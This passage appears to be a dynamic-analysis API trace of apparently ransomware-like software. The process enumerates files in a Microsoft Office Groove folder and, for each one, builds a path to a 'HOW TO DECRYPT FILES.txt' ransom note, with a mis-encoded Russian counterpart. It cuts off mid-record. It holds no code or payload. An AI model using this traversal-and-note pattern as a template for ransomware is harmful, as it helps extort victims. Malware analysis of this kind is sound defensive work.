Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif") returned="rtf_increaseindent.gif" [0064.853] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.853] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.853] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.853] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.853] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_italic.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" [0064.853] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_justify.gif", cAlternateFileName="RTF_JU~1.GIF")) returned 1 [0064.853] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.853] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_justify.gif") returned -1 [0064.853] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_justify.gif") returned -1 [0064.853] lstrcmpiA (lpString1="", lpString2="rtf_justify.gif") returned -1 [0064.854] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif") returned="rtf_italic.gif" [0064.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.854] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.854] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.854] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.854] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_justify.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" [0064.854] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_pressed.gif", cAlternateFileName="RTF_PR~1.GIF")) returned 1 [0064.854] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.854] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_pressed.gif") returned -1 [0064.854] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_pressed.gif") returned -1 [0064.854] lstrcmpiA (lpString1="", lpString2="rtf_pressed.gif") returned -1 [0064.854] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif") returned="rtf_justify.gif" [0064.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.854] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.854] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.854] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.855] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_pressed.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" [0064.855] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_spellcheck.gif", cAlternateFileName="RTF_SP~1.GIF")) returned 1 [0064.855] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.855] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_spellcheck.gif") returned -1 [0064.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_spellcheck.gif") returned -1 [0064.855] lstrcmpiA (lpString1="", lpString2="rtf_spellcheck.gif") returned -1 [0064.855] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif") returned="rtf_pressed.gif" [0064.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.855] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.855] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.855] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.855] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_spellcheck.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" [0064.855] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_underline.gif", cAlternateFileName="RTF_UN~1.GIF")) returned 1 [0064.855] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.856] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_underline.gif") returned -1 [0064.856] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_underline.gif") returned -1 [0064.856] lstrcmpiA (lpString1="", lpString2="rtf_underline.gif") returned -1 [0064.856] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif") returned="rtf_spellcheck.gif" [0064.856] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.856] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.856] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.856] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.856] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_underline.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" [0064.856] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0064.856] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.856] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SAVE.GIF") returned -1 [0064.856] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SAVE.GIF") returned -1 [0064.856] lstrcmpiA (lpString1="", lpString2="SAVE.GIF") returned -1 [0064.856] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif") returned="rtf_underline.gif" [0064.856] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.856] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.856] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.857] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.857] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="SAVE.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF" [0064.857] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14307, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0064.857] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.857] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SUBMIT.JS") returned -1 [0064.857] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SUBMIT.JS") returned -1 [0064.857] lstrcmpiA (lpString1="", lpString2="SUBMIT.JS") returned -1 [0064.857] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF") returned="SAVE.GIF" [0064.857] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.857] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.857] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.857] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.857] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="SUBMIT.JS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS" [0064.857] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca5a, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="utilityfunctions.js", cAlternateFileName="UTILIT~1.JS")) returned 1 [0064.858] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="utilityfunctions.js") returned -1 [0064.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="utilityfunctions.js") returned -1 [0064.858] lstrcmpiA (lpString1="", lpString2="utilityfunctions.js") returned -1 [0064.858] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS") returned="SUBMIT.JS" [0064.858] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.858] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.858] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.858] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.858] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="utilityfunctions.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" [0064.858] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64b3, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 1 [0064.858] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="validation.js") returned -1 [0064.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="validation.js") returned -1 [0064.858] lstrcmpiA (lpString1="", lpString2="validation.js") returned -1 [0064.858] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js") returned="utilityfunctions.js" [0064.858] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.858] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.858] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.859] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.859] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="validation.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" [0064.859] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0064.859] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VIEW.ICO") returned -1 [0064.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VIEW.ICO") returned -1 [0064.859] lstrcmpiA (lpString1="", lpString2="VIEW.ICO") returned -1 [0064.859] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js") returned="validation.js" [0064.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | 